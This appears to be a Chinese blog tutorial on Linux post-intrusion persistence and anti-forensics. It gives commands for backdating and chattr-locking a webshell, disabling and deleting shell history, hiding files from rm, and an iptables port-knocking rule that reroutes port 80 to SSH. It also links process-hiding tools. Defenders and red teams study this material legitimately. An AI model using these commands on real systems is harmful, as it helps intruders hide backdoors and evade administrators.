#权限维持
#Linux
#隐藏
一、 隐藏文件
二、 隐藏文件时间戳
三、 隐藏权限
四、 隐藏历史操作
五、 隐藏端口
六、 隐藏进程
一、 隐藏文件
创建一个隐藏文件:
touch .test.txt
一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
linux中每个目录下其实都有.
和..
,分别代指的是当前目录和上级目录。
建立...
文件也是一个比较好的隐藏方法”。
建立参数混淆拦截rm文件
echo 'test' > --
创建--文件,需要用绝对路径才能读取和删除
rm -rf --
命令执行了,文件没删除,命令也没有报错,可以误导管理员。
想要删除的话,使用rm -rf '/root/--'
。
另外,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。
如/tmp/ .font-unix/
、/tmp/.ICE-unix/
、/tmp/.Test-unix/
、/tmp/.X11 -unix/
、/tmp/.XIM-unix/
。
二、 隐藏文件时间戳
Linux下藏后门必须要修改时间,否则很容易被发现,直接利用touch就可以了。
利用方法
比如参考index.php 的时间,再赋给webshell.php,结果两个文件的时间就一样
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下2024年06月01日8时10分30秒。
touch -t 2406010810.30 webshell.php
-t STAMP
-c 不创建文件
1.3 隐藏权限
在Linux中,使用chattr
命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件。
chattr +i webshell.php #锁定文件
rm -rf webshell.php #提示禁止锁定
lsattr webshell.php #属性查看
chattr -i webshell.php #解除锁定
rm -rf webshell.php #彻底删除文件
1.4 隐藏历史操作
无痕模式:
拿到shell以后也就是成功入侵之后,开始【无痕模式
】,禁用命令历史记录功能。
[space]set +o history
或者空格+命令
备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录。
在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要【重新开启历史功能】,执行下面的命令:
[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
删除指定历史命令:
history显示内存和~/. bash _history
中的所有内容;内存中的内容并没有立刻写入~/.bash_ history
, 只有当当前shell关闭时才会将内存内容写入shell
删除单条命令:
history -d [num]
删除多条命令:
sed -i "100,$d" .bash_ history #删除100行以后的操作命令
1.5 隐藏端口(还没复现)
通过端口复用来达到隐藏端口的目的。
这里以隐藏SSH端口
,通过SSH进行远程登录为例。
【方法1】通过SSLH让HTTPS和SSH共享同一个端口
这里以kali为例简单演示:
1、下载SSLH :
sudo apt-get install sslh
2、配置SSLH :
sudo vi /etc/default/sslh
修改为:
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --tls 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
3、启动SSLH :
$ sudo systemctl enable sslh
$ sudo systemctl start sslh
复现过程中,可能会遇到启动sslh失败,确保 sslh 用户或组有权限写入该目录。
你可以使用 chown
命令更改所有者和组:
4、测试,检查SSLH守护程序是否正在监听443。
5、利用:
现在,你可以使用端口443通过SSH访问远程服务器:
【方法2】利用IPTables进行端口复用
【目标机器配置】:
#端口复用链
iptables -t nat -N LETMEIN
#端口复用规则
iptables -t nat -A LETMEIN -p tcp - j REDIRECT --to-port 22
#开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm --set --name letmein --rsource -j ACCEPT
#关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
【攻击机运行】:
#开启复用
echo threathuntercoming | socat - tcp:192.168.8.127:80
#ssh使用80端口进行登录
ssh -p 80 [email protected]
#关闭复用
echo threathunterleaving | socat - tcp:192.168.8.127:80
测试完毕后,在目标机删除iptables规则:
iptables -L -n --line-number
iptables -D INPUT 3 //删除INPUT的第三条已添加规则,这里3代表第几行规则
1.6 隐藏进程
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
libprocesshider :
https://github.com/gianlucaborello/libproces/shider
linux-inject:
https://github.com/gaffe23/linux-inject
标签:攻防,--,端口,技术,命令,Linux,sslh,php,隐藏
From: https://www.cnblogs.com/o-O-oO/p/18307284